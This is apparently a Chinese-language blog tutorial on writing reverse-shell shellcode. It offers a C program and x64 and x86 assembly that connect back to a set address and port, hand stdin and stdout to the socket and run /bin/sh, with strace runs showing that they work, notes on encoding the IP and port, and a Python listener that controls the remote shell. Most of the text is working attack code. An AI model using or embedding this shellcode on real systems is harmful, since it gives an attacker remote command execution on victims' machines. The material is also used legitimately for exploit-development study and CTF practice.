反向shellcode

TOC

  1. 1. reverse_shell.c
  2. 2. 64位
    1. 2.1. 运行实例
  3. 3. 32位
    1. 3.1. 运行实例
  4. 4. 控制脚本

有时候会遇到靶机不支持交互的情况,这时候就需要我们执行反向shellcode来拿shell。

实验文件打包下载:reverse_shellcode.zip

reverse_shell.c

#include <sys/socket.h> //构造socket所需的库
#include <netinet/in.h> //定义sockaddr结构
#include <arpa/inet.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>

extern int errno;

int main()
{
int soc, remote; //文件描述符句柄
struct sockaddr_in serv_addr; //保存IP/端口值的结构

serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); //将socket的地址设置为所有本地地址
serv_addr.sin_port = htons(1000); //设置socket的端口48059
serv_addr.sin_family = AF_INET; //设置协议族:IP

soc = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
remote = connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in));

if (remote == -1)
{
puts(strerror(errno));
}

dup2(soc, 0); //将stdin连接client
dup2(soc, 1); //将stdout连接client
// dup2(soc, 2); //将strderr连接到client

execve("/bin/sh", NULL, NULL); //建立一个shell

return 0;
}

64位

;// compiled :    gcc -c reverse_shellcode_x64.s
;// ld -e main reverse_shellcode_x64.o -o reverse_shellcode_x64
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
mov rdi, 2
mov rsi, 1
mov rdx, 0
mov rax, 41 ;// SYS_socket
syscall

;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
mov rdi, rax
mov rax, 0x0100007fe8030002
push rax
mov rsi, rsp
mov rdx, 16
mov rax, 42 ;// SYS_connect
syscall

;// dup2(soc, 0)
mov rdi, 3
mov rsi, 0
mov rax, 33 ;// SYS_dup2
syscall

;// dup2(soc, 1)
mov rdi, 3
mov rsi, 1
mov rax, 33 ;// SYS_dup2
syscall

;// execve("/bin/sh", NULL, NULL)
mov rax,0x0068732f6e69622f
push rax
mov rdi,rsp
mov rax,59
mov rsi,0
mov rdx,0
syscall

;// exit(0)
mov rdi, 0
mov rax, 60
syscall

运行实例

ex@Ex:~/test$ strace ./reverse_shellcode_x64 
execve("./reverse_shellcode_x64", ["./reverse_shellcode_x64"], 0x7ffc54cbcb70 /* 70 vars */) = 0
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(1000), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
dup2(3, 0) = 0
dup2(3, 1) = 1
execve("/bin/sh", NULL, NULL) = 0

32位

;// compiled :    gcc -c -m32 reverse_shellcode_x86.s
;// ld -e main -melf_i386 reverse_shellcode_x86.o -o reverse_shellcode_x86
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
push 0
push 1
push 2
mov ecx, esp
mov ebx, 1 ;// socket
mov eax, 102 ;// SYS_socketcall
int 0x80

;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
push 0x0100007f
push 0xe8030002
mov edx, esp ;// Save the address of the structure
push 0x10
push edx
push 3 ;// fd
mov ecx, esp
mov ebx, 3 ;// connect
mov eax, 102 ;// SYS_socketcall
int 0x80

;// dup2(soc, 0)
mov ebx, 3
mov ecx, 0
mov eax, 63 ;// SYS_dup2
int 0x80

;// dup2(soc, 1)
mov ebx, 3
mov ecx, 1
mov eax, 63 ;// SYS_dup2
int 0x80

;// execve("/bin/sh", NULL, NULL)
push 0x0068732f
push 0x6e69622f
mov ebx,esp
mov eax,0x0b
mov ecx,0
mov edx,0
int 0x80

;// exit(0)
mov ebx, 0
mov eax, 1
int 0x80

运行实例

ex@Ex:~/test$ strace ./reverse_shellcode_x86 
execve("./reverse_shellcode_x86", ["./reverse_shellcode_x86"], 0x7fff669cecf0 /* 70 vars */) = 0
strace: [ Process PID=8138 runs in 32 bit mode. ]
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(1000), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
dup2(3, 0) = 0
dup2(3, 1) = 1
execve("/bin/sh", NULL, NULL) = 0

上面两段shellcode中的0100007fip地址,表示的是127.0.0.1e8030002中的e803其实是03e8,也就是1000端口,而0002表示的是AF_INET

控制脚本

#!/usr/bin/python
# -*- coding: UTF-8 -*-

import socket # 导入 socket 模块
import thread

def print_recv(s):
while(s):
result = s.recv(1024)
if(result):
print(result)
else:
return

s = socket.socket() # 创建 socket 对象
host = '0.0.0.0' # 获取本地主机名
port = 1000 # 设置端口
s.bind((host, port)) # 绑定端口

s.listen(1) # 等待客户端连接
while True:
c, addr = s.accept() # 建立客户端连接
print ('连接地址:' + str(addr))
try:
thread.start_new_thread(print_recv, (c, ))
while(True):
c.send(raw_input() + '\n')
except Exception as e:
print(e)
print("Disconnect")
c.close()

参考资料:https://www.cnblogs.com/shanmao/archive/2012/12/26/2834210.html